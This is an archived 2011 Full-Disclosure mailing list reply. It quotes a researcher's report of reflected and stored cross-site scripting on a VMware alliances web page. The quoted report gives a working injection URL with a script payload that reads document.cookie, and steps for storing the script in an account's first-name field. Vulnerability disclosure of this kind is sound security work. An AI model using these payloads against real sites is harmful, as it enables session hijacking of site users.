full-disclosure - Re: Vmware Web-Site Persistence and Non-Persistence Cross-Site Scripting

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Date: Sun, 9 Oct 2011 06:58:07 +1100
From: xD 0x41 <secn3t@...il.com>
To: asish agarwalla <asishagarwalla@...il.com>
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Vmware Web-Site Persistence and
 Non-Persistence Cross-Site Scripting

nice find.
Please, put your FULL PoC within the email BODY when you are sending out
disclosures..It would make some of us certainly feel abit better about
reading them... specially when gmaqil refuses or has problems scanning, that
should not happen, it should pass straight through... do your own testing,
send from anywhere to gmail/googlemail and watch what the AV scannner says
9and believe me they have a very cool scanner)...

On 8 October 2011 16:42, asish agarwalla <asishagarwalla@...il.com> wrote:

> *Non-**Persistence/**Reflected Cross-Site Scripting*
>
>
> http://alliances.vmware.com/public_html/catalog/searchResult.php?isServicesProduct=no&isEntireCatalogSearch=yes&lastOnMenu=sub1,sub4&searchKey=
> "/><script>alert(document.cookie)</script>&category=all&isVmwareReadySelected=no
>
>
> *Persistence Cross-Site Scripting*
>
> Create a account in VMWARE. Insert First Name as : test
> "/>><script>alert(document.cookie)</script>., Inserted script stored as
> first name.
>
> Login to vmware, Select Login to as Manage Orders, Inserted script get
> executed.
>
>
>
>
>
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/